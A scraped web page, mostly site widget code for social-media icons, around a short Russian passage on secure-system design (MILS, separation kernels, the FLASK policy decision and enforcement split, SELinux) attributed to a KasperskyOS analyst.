xmlns="http://www.w3.org/2000/svg" width="25" height="25" viewBox="0 0 48 48" fill="' + fill + '"><path d="M43.9 15.3c-.4-3.1-2.2-5-5.3-5.3-3.6-.3-11.4-.5-15-.5-7.3 0-10.6.2-14.1.5-3.3.3-4.8 1.8-5.4 4.9-.4 2.1-.6 4.1-.6 8.9 0 4.3.2 6.9.5 9.2.4 3.1 2.5 4.8 5.7 5.1 3.6.3 10.9.5 14.4.5s11.2-.2 14.7-.6c3.1-.4 4.6-2 5.1-5.1 0 0 .5-3.3.5-9.1 0-3.3-.2-6.4-.5-8.5zM19.7 29.8V18l11.2 5.8-11.2 6z"/></svg>'; } youtube += '</a>'; youtube += '</div>'; var instagram = ''; instagram += '<div class="t-review-social-links\_\_item">'; instagram += ' <a href="' + item + '" target="\_blank">'; if (socialWrapper.hasClass('t-review-social-links\_\_wrapper\_round')) { instagram += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="30" height="30" viewBox="0 0 30 30" fill="' + fill + '"><path d="M15 11.014a3.986 3.986 0 1 0 .001 7.971A3.986 3.986 0 0 0 15 11.014zm0 6.592A2.604 2.604 0 0 1 12.393 15 2.604 2.604 0 0 1 15 12.394 2.614 2.614 0 0 1 17.607 15 2.604 2.604 0 0 1 15 17.606zM19.385 9.556a.915.915 0 0 0-.92.921c0 .512.407.919.92.919a.914.914 0 0 0 .921-.919.916.916 0 0 0-.921-.921z"/><path d="M15.002.15C6.798.15.149 6.797.149 15c0 8.201 6.649 14.85 14.853 14.85 8.199 0 14.85-6.648 14.85-14.85 0-8.203-6.651-14.85-14.85-14.85zm7.664 18.115c0 2.423-1.979 4.401-4.416 4.401h-6.5c-2.438 0-4.417-1.979-4.417-4.386v-6.546c0-2.422 1.978-4.4 4.417-4.4h6.5c2.438 0 4.416 1.978 4.416 4.4v6.531z"/></svg>'; } else { instagram += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="25" height="25" viewBox="0 0 25 25" fill="' + fill + '"><path d="M16.396 3.312H8.604c-2.921 0-5.292 2.371-5.292 5.273v7.846c0 2.886 2.371 5.256 5.292 5.256h7.791c2.922 0 5.292-2.37 5.292-5.274V8.586c.001-2.903-2.37-5.274-5.291-5.274zM7.722 12.5a4.778 4.778 0 1 1 9.554 0 4.778 4.778 0 0 1-9.554 0zm10.034-4.318c-.615 0-1.104-.487-1.104-1.102s.488-1.103 1.104-1.103c.614 0 1.102.488 1.102 1.103s-.488 1.102-1.102 1.102z" /><path d="M12.5 9.376A3.12 3.12 0 0 0 9.376 12.5a3.12 3.12 0 0 0 3.124 3.124 3.12 3.12 0 0 0 3.124-3.124A3.133 3.133 0 0 0 12.5 9.376z"/></svg>'; } instagram += '</a>'; instagram += '</div>'; var pinterest = ''; pinterest += '<div class="t-review-social-links\_\_item">'; pinterest += '<a href="' + item + '" target="\_blank">'; if (socialWrapper.hasClass('t-review-social-links\_\_wrapper\_round')) { pinterest += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="30" height="30" viewBox="-455 257 48 48" fill="' + fill + '"><path d="M-407 281c0 13.254-10.746 24-23.999 24-13.257 0-24.003-10.746-24.003-24 0-13.256 10.746-24 24.003-24 13.253 0 23.999 10.744 23.999 24zm-30.628 14.811c.027.205.29.254.409.1.17-.223 2.365-2.932 3.111-5.639.211-.768 1.212-4.738 1.212-4.738.599 1.145 2.349 2.148 4.21 2.148 5.539 0 9.297-5.049 9.297-11.809 0-5.111-4.329-9.873-10.909-9.873-8.186 0-12.314 5.871-12.314 10.766 0 2.963 1.122 5.6 3.527 6.582.395.162.749.006.863-.43.08-.303.268-1.065.353-1.385.114-.432.07-.582-.248-.959-.694-.818-1.138-1.879-1.138-3.381 0-4.353 3.259-8.252 8.484-8.252 4.627 0 7.169 2.828 7.169 6.603 0 4.969-2.198 9.162-5.461 9.162-1.804 0-3.153-1.49-2.722-3.32.518-2.182 1.522-4.537 1.522-6.113 0-1.41-.758-2.588-2.324-2.588-1.843 0-3.323 1.908-3.323 4.461 0 1.627.55 2.727.55 2.727l-2.217 9.391c-.657 2.787-.099 6.203-.051 6.547z"/></svg>'; } else { pinterest += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="25" height="25" viewBox="0 0 48 48" fill="' + fill + '"><path d="M24.9 5.5c4.2 0 7.7 1.3 10.5 3.9s4.1 5.7 4.1 9.2c0 4.6-1.2 8.4-3.5 11.3-2.3 3-5.3 4.5-8.9 4.5-1.2 0-2.3-.3-3.4-.9s-1.8-1.3-2.2-2c-.9 3.5-1.4 5.6-1.6 6.3-.7 2.4-2 4.9-4.1 7.5-.2.2-.4.2-.5-.1-.5-3.5-.5-6.4.1-8.7l2.9-12.6c-.5-.9-.7-2.1-.7-3.6 0-1.7.4-3.1 1.3-4.2s1.9-1.7 3.2-1.7c1 0 1.8.3 2.3 1 .5.6.8 1.5.8 2.4 0 .6-.1 1.4-.3 2.3-.2.9-.5 1.9-.9 3.1s-.6 2.1-.8 2.8c-.3 1.2-.1 2.2.7 3.1.7.9 1.7 1.3 3 1.3 2.1 0 3.8-1.2 5.2-3.6 1.4-2.4 2-5.3 2-8.7 0-2.6-.8-4.7-2.5-6.3-1.7-1.6-4-2.4-7-2.4-3.4 0-6.1 1.1-8.2 3.2S13 17.4 13 20.4c0 1.8.5 3.3 1.5 4.5.3.4.4.8.3 1.2 0 .1-.1.3-.2.6-.1.4-.1.6-.2.7 0 .1-.1.4-.2.6-.1.3-.3.4-.4.4h-.6c-3.1-1.3-4.7-4.2-4.7-8.7 0-3.6 1.5-6.9 4.4-9.9s7-4.3 12-4.3z"/></svg>'; } pinterest += '</a>'; pinterest += '</div>'; var linkedin = ''; linkedin += '<div class="t-review-social-links\_\_item">'; linkedin += '<a href="' + item + '" target="\_blank">'; if (socialWrapper.hasClass('t-review-social-links\_\_wrapper\_round')) { linkedin += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="30" height="30" viewBox="-615 1477 48 48" fill="' + fill + '"><path d="M-566.999 1501c0 13.256-10.746 24-24 24-13.256 0-24.002-10.744-24.002-24 0-13.254 10.746-24 24.002-24 13.254 0 24 10.746 24 24zm-38.507 13.975h6.22v-20.004h-6.22v20.004zm3.11-22.739a3.606 3.606 0 0 0 0-7.211 3.603 3.603 0 0 0-3.604 3.605 3.604 3.604 0 0 0 3.604 3.606zm26.396 11.766c0-5.387-1.163-9.529-7.454-9.529-3.023 0-5.054 1.658-5.884 3.231h-.085v-2.733h-5.964v20.004h6.216v-9.896c0-2.609.493-5.137 3.729-5.137 3.186 0 3.232 2.984 3.232 5.305v9.729h6.21v-10.974z"/></svg>'; } else { linkedin += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="25" height="25" viewBox="0 0 48 48" fill="' + fill + '"><path d="M42.3 23.1v13.5h-7.9V24c0-3.2-1.1-5.3-4-5.3-2.2 0-3.5 1.5-4 2.9-.2.5-.3 1.2-.3 1.9v13.2h-7.9s.1-21.4 0-23.6h7.9v3.3s0 .1-.1.1h.1v-.1c1-1.6 2.9-3.9 7.1-3.9 5.2-.1 9.1 3.3 9.1 10.6zM10.1 1.6c-2.7 0-4.4 1.8-4.4 4.1S7.4 9.8 10 9.8h.1c2.7 0 4.4-1.8 4.4-4.1s-1.7-4.1-4.4-4.1zm-3.9 35H14V13H6.2v23.6z"/></svg>'; } linkedin += '</a>'; linkedin += '</div>'; var soundcloud = ''; soundcloud += '<div class="t-review-social-links\_\_item">'; soundcloud += '<a href="' + item + '" target="\_blank">'; if (socialWrapper.hasClass('t-review-social-links\_\_wrapper\_round')) { soundcloud += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="30" height="30" viewBox="0 0 48 48" fill="' + fill + '"><defs><path id="a" d="M0 0h48v48H0V0z"/></defs><g fill-rule="evenodd"><path d="M38.206 22.171c-.635 0-1.241.129-1.793.36-.369-4.177-3.871-7.453-8.144-7.453a8.28 8.28 0 0 0-2.965.553c-.35.136-.442.275-.446.546v14.709a.545.545 0 0 0 .5.531c.013.002 12.848 0 12.848 0 2.56 0 4.634-2.051 4.634-4.611a4.634 4.634 0 0 0-4.634-4.635zM24.17 16.237a.5.5 0 0 0-.582.043.517.517 0 0 0-.189.392v.053l-.21 10.388.107 1.92.103 1.869a.514.514 0 0 0 .51.505.515.515 0 0 0 .51-.509v.004l.228-3.79-.227-10.44a.517.517 0 0 0-.25-.435zm-1.364 14.72v-.001.001-.002.002zm-.215-13.813a.47.47 0 0 0-.264-.081.486.486 0 0 0-.478.477l-.001.09-.18 9.48.181 3.847.001.016a.48.48 0 0 0 .477.458c.246 0 .248-.054.335-.14a.486.486 0 0 0 .144-.336l.02-.38.181-3.463-.201-9.573a.487.487 0 0 0-.215-.395zm-1.853 1.479a.447.447 0 0 0-.446.444l-.2 8.044.2 3.87c.005.465.2.442.446.442.245 0 .44.023.446-.444v.003l.223-3.87-.223-8.046a.447.447 0 0 0-.446-.443zm-1.577-.273a.416.416 0 0 0-.414.412l-.219 8.349.219 3.895c.005.228.187.41.414.41a.416.416 0 0 0 .413-.412v.002l.246-3.895-.246-8.35a.416.416 0 0 0-.413-.411zm-1.184 12.693v-.002.002zm0-12.5a.385.385 0 0 0-.382-.38.384.384 0 0 0-.381.38l-.238 8.567.238 3.932c.006.21.173.377.381.377a.385.385 0 0 0 .382-.378l.268-3.931-.268-8.568zm-1.935-.069a.354.354 0 0 0-.35.347l-.256 8.288.257 3.957c.006.193.16.346.35.346a.354.354 0 0 0 .349-.347v.002l.29-3.958-.29-8.288a.355.355 0 0 0-.35-.347zm-1.564.691a.322.322 0 0 0-.318.315l-.275 7.65.276 3.998a.321.321 0 0 0 .317.313c.17 0 .31-.138.317-.315v.002l.312-3.999-.312-7.65a.323.323 0 0 0-.317-.314zM12.974 20.6a.29.29 0 0 0-.285.282l-.295 6.226.295 4.023a.29.29 0 0 0 .285.281.292.292 0 0 0 .285-.282v.001l.333-4.023-.333-6.226a.292.292 0 0 0-.285-.282zm-1.264 2.678a.258.258 0 0 0-.253-.248.257.257 0 0 0-.253.25l-.314 3.826.314 4.024c.008.142.117.25.253.25a.259.259 0 0 0 .253-.25l.356-4.024-.356-3.828zm0 7.851v.001zm-1.757-8.366a.226.226 0 0 0-.221.217l-.333 4.126.333 3.99c.009.124.104.217.22.217s.21-.093.221-.216l.4-3.991-.4-4.126c-.01-.123-.105-.217-.22-.217zm-1.493.142c-.1 0-.179.078-.189.185l-.351 4.015.351 3.868c.01.108.09.185.19.185.097 0 .176-.077.188-.184l.4-3.869-.4-4.015c-.012-.107-.091-.185-.189-.185zm-2.873 1.96c-.079 0-.14.06-.151.147l-.276 2.094.276 2.056c.01.086.072.147.15.147s.14-.06.152-.147l.326-2.056-.326-2.095c-.013-.086-.074-.145-.151-.145zM6.98 23.57c-.08 0-.146.064-.157.152l-.25 3.385.25 3.308c.011.088.077.152.157.152s.144-.062.156-.152l.422-3.308-.422-3.385c-.012-.09-.077-.152-.156-.152zM48 24c0 13.255-10.745 24-24 24C10.757 48 0 37.255 0 24 0 10.757 10.757 0 24 0c13.255 0 24 10.757 24 24z"/></g></svg>'; } else { soundcloud += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="25" height="25" viewBox="0 0 48 48" fill="' + fill + '"><path d="M1.6 24.3c-.2 0-.3.1-.3.3l-.5 6.2.5 6c0 .2.2.3.3.3.2 0 .3-.1.3-.3l.6-6-.6-6.2c0-.2-.1-.3-.3-.3zm3.3 12.6zm0-11.8c0-.2-.2-.4-.4-.4s-.4.2-.4.4l-.5 5.8.5 6.1c0 .2.2.4.4.4s.4-.2.4-.4l.5-6.1-.5-5.8zm2.7-6.2c-.3 0-.5.2-.5.5l-.4 11.5.4 6c0 .3.2.5.5.5s.5-.2.5-.5l.5-6-.5-11.6c-.1-.2-.3-.4-.5-.4zm3.8-1c0-.3-.3-.6-.6-.6s-.6.3-.6.6l-.4 13 .4 5.9c0 .3.3.6.6.6s.6-.3.6-.6l.4-5.9-.4-13zm2.7.1c-.4 0-.7.3-.7.7l-.3 12.2.3 5.9c0 .4.3.7.7.7.4 0 .7-.3.7-.7l.3-5.9-.3-12.2c0-.4-.3-.7-.7-.7zm3.7-3.6c-.1-.1-.3-.1-.4-.1-.2 0-.4.1-.5.2-.2.1-.3.4-.3.6v.1l-.3 15.7.2 2.9.2 2.8c0 .4.4.8.8.8s.8-.3.8-.8l.3-5.7-.3-15.8c-.1-.3-.3-.5-.5-.7zm22.4 9c-1 0-1.9.2-2.7.5-.6-6.3-5.9-11.3-12.3-11.3-1.6 0-3.1.3-4.5.8-.5.2-.7.4-.7.8v22.2c0 .4.3.8.8.8h19.4c3.9 0 7-3.1 7-7 0-3.7-3.1-6.8-7-6.8z"/></svg>'; } soundcloud += '</a>'; soundcloud +=' </div>'; var telegram = ''; telegram += '<div class="t-review-social-links\_\_item">'; telegram += '<a href="' + item + '" target="\_blank">'; if (socialWrapper.hasClass('t-review-social-links\_\_wrapper\_round')) { telegram += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="30" height="30" viewBox="0 0 60 60" fill="' + fill + '"><path d="M30 0C13.4 0 0 13.4 0 30s13.4 30 30 30 30-13.4 30-30S46.6 0 30 0zm16.9 13.9l-6.7 31.5c-.1.6-.8.9-1.4.6l-10.3-6.9-5.5 5.2c-.5.4-1.2.2-1.4-.4L18 32.7l-9.5-3.9c-.7-.3-.7-1.5 0-1.8l37.1-14.1c.7-.2 1.4.3 1.3 1z"/><path d="M22.7 40.6l.6-5.8 16.8-16.3-20.2 13.3"/></svg>'; } else { telegram += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="25" height="25" viewBox="0 0 60 60" fill="' + fill + '"><path d="M52.5 9L6.1 26.9c-.9.4-.9 1.8 0 2.3L18 34.1l4.4 14.1c.3.8 1.2 1 1.8.5l6.8-6.4L43.9 51c.7.4 1.6 0 1.7-.7l8.4-40c.2-.8-.7-1.6-1.5-1.3zm-28 27.7l-.7 7.3-3.6-11.2L45.5 16l-21 20.7z"/></svg>'; } telegram += '</a>'; telegram += '</div>'; if (item.indexOf('facebook') != -1) { socialWrapper.append(fb); } if (item.indexOf('twitter') != -1) { socialWrapper.append(twi); } if (item.indexOf('vk.com') != -1) { socialWrapper.append(vk); } if (item.indexOf('ok.ru') != -1) { socialWrapper.append(ok); } if (item.indexOf('behance') != -1) { socialWrapper.append(behance); } if (item.indexOf('vimeo') != -1) { socialWrapper.append(vimeo); } if (item.indexOf('youtube') != -1) { socialWrapper.append(youtube); } if (item.indexOf('instagram') != -1) { socialWrapper.append(instagram); } if (item.indexOf('pinterest') != -1) { socialWrapper.append(pinterest); } if (item.indexOf('linkedin') != -1) { socialWrapper.append(linkedin); } if (item.indexOf('soundcloud') != -1) { socialWrapper.append(soundcloud); } if (item.indexOf('telegram') != -1) { socialWrapper.append(telegram); } } $(document).ready(function() { t\_reviews\_social\_init('186912855'); });@media screen and (max-width: 640px){ .t525 .t-review-social-links\_\_wrapper { -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; }
} Начиная с 70-х годов прошлого века ведется активная разработка принципов создания безопасных систем, разрабатываются формальные модели разделения решений на домены с различным уровнем доступа.
В дальнейшем, к началу двухтысячных, когда технологии доросли до требований, предъявляемых теоретическими концепциями, получил развитие подход [Multiple Independent Levels of Security (MILS)](https://en.wikipedia.org/wiki/Multiple_Independent_Levels_of_Security). Он предусматривает разделение системы на изолированные домены безопасности и контроль всех операций, связанных с передачей данных между доменами. На этом подходе базируется большинство современных систем, к которым предъявляются высокие требования к безопасности и надежности их работы.  Экран диагностики KasperskyOS Представим набор полностью изолированных программных компонентов. Они безопасны, пока не взаимодействуют друг с другом и окружающим миром. Ни кривой код, ни уязвимости в этих компонентах не страшны системе. Однако на практике полная изоляция бессмысленна и не нужна. Для выполнения функциональных задач различные компоненты ПО должны взаимодействовать как между собой, так и с внешним миром. Но чтобы поведение системы оставалось безопасным, все взаимодействия компонентов должны проводиться под контролем. Как это организовать?
Первое: нужно предоставить гарантии изоляции компонентов друг от друга. В MILS-системах за эту задачу отвечает ядро разделения (Separation Kernel). Обычно эту функцию выполняет микроядро или гипервизор. Второе: нужно строго описать, как каждый программный компонент может взаимодействовать с другими. Тогда в результате появится возможность перечислить все подлежащие контролю операции. Третье: создать в системе компонент-медиатор, через который будут проходить абсолютно все взаимодействия. Тогда у него будет возможность разрешать безопасные операции и запрещать опасные. Решение о том, какая операция является безопасной, принимается отдельным компонентом — вычислителем вердиктов безопасности (Policy Decision Point). Впервые отделить логику вычисления вердиктов (Policy Decision Point) от их применения (Policy Enforcement Point) было предложено в 90-е годы в рамках проекта [Flux Advanced Security Kernel (FLASK)](https://en.wikipedia.org/wiki/FLASK). На подходах, разработанных в рамках этого проекта, базируются многие решения в области безопасности, например, SELinux. Екатерина Рудина руководитель группы системных аналитиков .t-review-social-links { line-height: 0px; } .t-review-social-links\_\_wrapper { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; -ms-flex-wrap: wrap; flex-wrap: wrap; width: auto; } .t-review-social-links { margin-top: 15px; } .t-review-social-links\_\_item { padding: 0px 4px; } .t-review-social-links\_\_item svg { width: 20px; height: 20px; } .t-review-social-links\_\_wrapper\_round .t-review-social-links\_\_item svg { width: 23px; height: 23px; } .t-review-social-links\_\_item:first-child { padding-left: 0px; } @media screen and (max-width: 960px) { .t-review-social-links\_\_item { margin-bottom: 3px; } } @media screen and (max-width: 640px) { .t-review-social-links { margin-top: 13px; } .t-review-social-links\_\_item { padding: 0px 3px; } .t-review-social-links\_\_item svg { width: 17px; height: 17px; } .t-review-social-links\_\_wrapper\_round .t-review-social-links\_\_item svg { width: 20px; height: 20px; } } function t\_reviews\_social\_init(recid){ var rec = $('#rec' + recid); var social = rec.find('.t-review-social-links'); if (social !== 'undefined' && social.length > 0) { social.each(function() { var $this = $(this); var socialAttr = $this.attr('data-social-links'); var socialWrapper = $this.find('.t-review-social-links\_\_wrapper'); var links; $this.removeAttr('data-social-links'); if (typeof socialAttr !== 'undefined') { links = socialAttr.split(','); links.forEach(function(item) { t\_reviews\_social\_add\_item(item, socialWrapper); }); } }); } } function t\_reviews\_social\_add\_item(item, socialWrapper) { var fill = socialWrapper.attr('data-social-color') || '#000000'; var fb = ''; fb = '<div class="t-review-social-links\_\_item">'; fb += '<a href="' + item + '" target="\_blank">'; if (socialWrapper.hasClass('t-review-social-links\_\_wrapper\_round')) { fb += '<svg class="t-review-social-links\_\_svg" version="1.1" id="Layer\_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="30px" height="30px" viewBox="0 0 48 48" enable-background="new 0 0 48 48" xml:space="preserve" fill="' + fill + '"><desc>Facebook</desc><path d="M47.761,24c0,13.121-10.638,23.76-23.758,23.76C10.877,47.76,0.239,37.121,0.239,24c0-13.124,10.638-23.76,23.764-23.76C37.123,0.24,47.761,10.876,47.761,24 M20.033,38.85H26.2V24.01h4.163l0.539-5.242H26.2v-3.083c0-1.156,0.769-1.427,1.308-1.427h3.318V9.168L26.258,9.15c-5.072,0-6.225,3.796-6.225,6.224v3.394H17.1v5.242h2.933V38.85z"></path></svg>'; } else { fb += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="25" height="25" viewBox="0 0 48 48" fill="' + fill + '"><path d="M21.1 7.8C22.5 6.5 24.5 6 26.4 6h6v6.3h-3.9c-.8-.1-1.6.6-1.8 1.4v4.2h5.7c-.1 2-.4 4.1-.7 6.1h-5v18h-7.4V24h-3.6v-6h3.6v-5.9c.1-1.7.7-3.3 1.8-4.3z"/></svg>'; } fb += '</a>'; fb += '</div>'; var twi = ''; twi += '<div class="t-review-social-links\_\_item">'; twi += '<a href="' + item + '" target="\_blank">'; if (socialWrapper.hasClass('t-review-social-links\_\_wrapper\_round')) { twi += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="30" height="30" viewBox="0 0 48 48" fill="' + fill + '"><path d="M47.762 24c0 13.121-10.639 23.76-23.761 23.76S.24 37.121.24 24C.24 10.876 10.879.24 24.001.24S47.762 10.876 47.762 24m-9.731-11.625a12.148 12.148 0 0 1-3.87 1.481 6.08 6.08 0 0 0-4.455-1.926 6.095 6.095 0 0 0-6.093 6.095c0 .478.054.941.156 1.388a17.302 17.302 0 0 1-12.559-6.367 6.066 6.066 0 0 0-.825 3.064 6.088 6.088 0 0 0 2.711 5.07 6.075 6.075 0 0 1-2.761-.762v.077c0 2.951 2.1 5.414 4.889 5.975a6.079 6.079 0 0 1-2.752.106 6.104 6.104 0 0 0 5.692 4.232 12.226 12.226 0 0 1-7.567 2.607c-.492 0-.977-.027-1.453-.084a17.241 17.241 0 0 0 9.34 2.736c11.209 0 17.337-9.283 17.337-17.337 0-.263-.004-.527-.017-.789a12.358 12.358 0 0 0 3.039-3.152 12.138 12.138 0 0 1-3.498.958 6.089 6.089 0 0 0 2.686-3.372"/></svg>'; } else { twi += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="25" height="25" viewBox="0 0 48 48" fill="' + fill + '"><path d="M41.8 12.7c-1.3.6-2.8 1-4.2 1.1 1.5-1 2.6-2.3 3.2-4-1.5.8-2.9 1.5-4.7 1.8-1.3-1.5-3.2-2.3-5.3-2.3-4 0-7.3 3.2-7.3 7.3 0 .6 0 1.1.2 1.6-6-.3-11.3-3.2-15.1-7.6-.6 1.1-1 2.3-1 3.7 0 2.6 1.3 4.7 3.2 6-1.1 0-2.3-.3-3.2-1v.2c0 3.6 2.4 6.5 5.8 7.1-.6.2-1.3.3-1.9.3-.5 0-1 0-1.3-.2 1 2.9 3.6 5 6.8 5-2.4 1.9-5.7 3.1-9.1 3.1-.6 0-1.1 0-1.8-.2 3.2 2.1 7 3.2 11.2 3.2 13.4 0 20.7-11 20.7-20.7v-1c1.7-.7 2.8-2 3.8-3.4z"/></svg>'; } twi += '</a>'; twi += '</div>'; var vk = ''; vk += '<div class="t-review-social-links\_\_item">'; vk += '<a href="' + item + '" target="\_blank">'; if (socialWrapper.hasClass('t-review-social-links\_\_wrapper\_round')) { vk += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="30" height="30" viewBox="0 0 48 48" fill="' + fill + '"><path d="M47.761 24c0 13.121-10.639 23.76-23.76 23.76C10.878 47.76.239 37.121.239 24 .239 10.877 10.878.24 24.001.24c13.121 0 23.76 10.637 23.76 23.76m-12.502 4.999c-2.621-2.433-2.271-2.041.89-6.25 1.923-2.562 2.696-4.126 2.45-4.796-.227-.639-1.64-.469-1.64-.469l-4.71.029s-.351-.048-.609.106c-.249.151-.414.505-.414.505s-.742 1.982-1.734 3.669c-2.094 3.559-2.935 3.747-3.277 3.524-.796-.516-.597-2.068-.597-3.171 0-3.449.522-4.887-1.02-5.259-.511-.124-.887-.205-2.195-.219-1.678-.016-3.101.007-3.904.398-.536.263-.949.847-.697.88.31.041 1.016.192 1.388.699.484.656.464 2.131.464 2.131s.282 4.056-.646 4.561c-.632.347-1.503-.36-3.37-3.588-.958-1.652-1.68-3.481-1.68-3.481s-.14-.344-.392-.527c-.299-.222-.722-.298-.722-.298l-4.469.018s-.674-.003-.919.289c-.219.259-.018.752-.018.752s3.499 8.104 7.573 12.23c3.638 3.784 7.764 3.36 7.764 3.36h1.867s.566.113.854-.189c.265-.288.256-.646.256-.646s-.034-2.512 1.129-2.883c1.15-.36 2.624 2.429 4.188 3.497 1.182.812 2.079.633 2.079.633l4.181-.056s2.186-.136 1.149-1.858c-.197-.139-.715-1.269-3.219-3.591"/></svg>'; } else { vk += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="25" height="25" viewBox="0 0 48 48" fill="' + fill + '"><path d="M41.2 22.2c.6-.8 1.1-1.5 1.5-2 2.7-3.5 3.8-5.8 3.5-6.8l-.2-.2c-.1-.1-.3-.3-.7-.4-.4-.1-.9-.1-1.5-.1h-7.2c-.2 0-.3 0-.3.1 0 0-.1 0-.1.1v.1c-.1 0-.2.1-.3.2-.1.1-.2.2-.2.4-.7 1.9-1.5 3.6-2.5 5.2-.6 1-1.1 1.8-1.6 2.5s-.9 1.2-1.2 1.5c-.3.3-.6.6-.9.8-.2.3-.4.4-.5.4-.1 0-.3-.1-.4-.1-.2-.1-.4-.3-.5-.6-.1-.2-.2-.5-.3-.9 0-.4-.1-.7-.1-.9v-4c0-.7 0-1.2.1-1.6v-1.3c0-.4 0-.8-.1-1.1-.1-.3-.1-.5-.2-.7-.1-.2-.3-.4-.5-.6-.2-.1-.5-.2-.8-.3-.8-.2-1.9-.3-3.1-.3-2.9 0-4.7.2-5.5.6-.3.2-.6.4-.9.7-.3.3-.3.5-.1.6.9.1 1.6.5 2 1l.1.3c.1.2.2.6.3 1.1.1.5.2 1.1.2 1.7.1 1.1.1 2.1 0 2.9-.1.8-.1 1.4-.2 1.9-.1.4-.2.8-.3 1.1-.1.3-.2.4-.3.5 0 .1-.1.1-.1.1-.1-.1-.4-.1-.6-.1-.2 0-.5-.1-.8-.3-.3-.2-.6-.5-1-.9-.3-.4-.7-.9-1.1-1.6-.4-.7-.8-1.5-1.3-2.4l-.4-.7c-.2-.4-.5-1.1-.9-1.9-.4-.8-.8-1.6-1.1-2.4-.1-.3-.3-.6-.6-.7l-.1-.1c-.1-.1-.2-.1-.4-.2s-.3-.1-.5-.2H3.2c-.6 0-1.1.1-1.3.4l-.1.1c0 .1-.1.2-.1.4s0 .4.1.6c.9 2.2 1.9 4.3 3 6.3s2 3.6 2.8 4.9c.8 1.2 1.6 2.4 2.4 3.5.8 1.1 1.4 1.8 1.7 2.1.3.3.5.5.6.7l.6.6c.4.4.9.8 1.6 1.3.7.5 1.5 1 2.4 1.5.9.5 1.9.9 3 1.2 1.2.3 2.3.4 3.4.4H26c.5 0 .9-.2 1.2-.5l.1-.1c.1-.1.1-.2.2-.4s.1-.4.1-.6c0-.7 0-1.3.1-1.8s.2-.9.4-1.2c.1-.3.3-.5.5-.7.2-.2.3-.3.4-.3.1 0 .1-.1.2-.1.4-.1.8 0 1.3.4s1 .8 1.4 1.3c.4.5 1 1.1 1.6 1.8.6.7 1.2 1.2 1.6 1.5l.5.3c.3.2.7.4 1.2.5.5.2.9.2 1.3.1l5.9-.1c.6 0 1-.1 1.4-.3.3-.2.5-.4.6-.6.1-.2.1-.5 0-.8-.1-.3-.1-.5-.2-.6-.1-.1-.1-.2-.2-.3-.8-1.4-2.2-3.1-4.4-5.1-1-.9-1.6-1.6-1.9-1.9-.5-.6-.6-1.2-.3-1.9.3-.5 1-1.5 2.2-3z"/></svg>'; } vk += '</a>'; vk += '</div>'; var ok = ''; ok += '<div class="t-review-social-links\_\_item">'; ok += '<a href="' + item + '" target="\_blank">'; if (socialWrapper.hasClass('t-review-social-links\_\_wrapper\_round')) { ok += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="30" height="30" viewBox="0 0 30 30" fill="' + fill + '"><path d="M15.001 29.997C6.715 29.997 0 23.28 0 14.997 0 6.714 6.715 0 15.001 0 23.282-.001 30 6.713 30 14.998c0 8.283-6.716 14.999-14.998 14.999zM15 9.163c.986 0 1.787.803 1.787 1.787 0 .987-.801 1.788-1.787 1.788a1.788 1.788 0 0 1 0-3.574zm4.317 1.787a4.322 4.322 0 0 0-4.317-4.319 4.323 4.323 0 0 0-4.319 4.32A4.322 4.322 0 0 0 15 15.266a4.32 4.32 0 0 0 4.316-4.317zm-2.57 7.84a8.126 8.126 0 0 0 2.507-1.038 1.266 1.266 0 0 0-1.347-2.143 5.482 5.482 0 0 1-5.816 0 1.265 1.265 0 0 0-1.348 2.143c.78.49 1.628.838 2.507 1.038l-2.414 2.414a1.267 1.267 0 0 0 .894 2.16c.324 0 .649-.125.895-.37l2.371-2.373 2.373 2.373a1.265 1.265 0 0 0 1.788-1.789l-2.41-2.415z"/></svg>'; } else { ok += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="25" height="25" viewBox="0 0 25 25" fill="' + fill + '"><path d="M12.498 6.2a1.932 1.932 0 0 0-1.929 1.93 1.932 1.932 0 0 0 3.861 0 1.932 1.932 0 0 0-1.932-1.93zm0 6.592a4.668 4.668 0 0 1-4.66-4.662 4.665 4.665 0 0 1 4.66-4.663 4.666 4.666 0 0 1 4.664 4.663 4.669 4.669 0 0 1-4.664 4.662zm-1.884 3.801a8.75 8.75 0 0 1-2.708-1.12 1.367 1.367 0 1 1 1.455-2.312 5.925 5.925 0 0 0 6.276 0 1.367 1.367 0 1 1 1.456 2.311c-.832.522-1.749.9-2.707 1.12l2.606 2.608a1.367 1.367 0 0 1-1.933 1.931L12.5 18.569l-2.561 2.562a1.368 1.368 0 0 1-1.934-1.934l2.609-2.604z"/></svg>'; } ok += '</a>'; ok += '</div>'; var behance = ''; behance += '<div class="t-review-social-links\_\_item">'; behance += '<a href="' + item + '" target="\_blank">'; if (socialWrapper.hasClass('t-review-social-links\_\_wrapper\_round')) { behance += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="30" height="30" viewBox="-455 257 48 48" fill="' + fill + '"><path d="M-421.541 278.608c-3.095 0-3.526 3.09-3.526 3.09h6.581c0-.001.042-3.09-3.055-3.09zM-436.472 281.697h-5.834v5.356h5.165c.088 0 .219.002.374 0 .831-.02 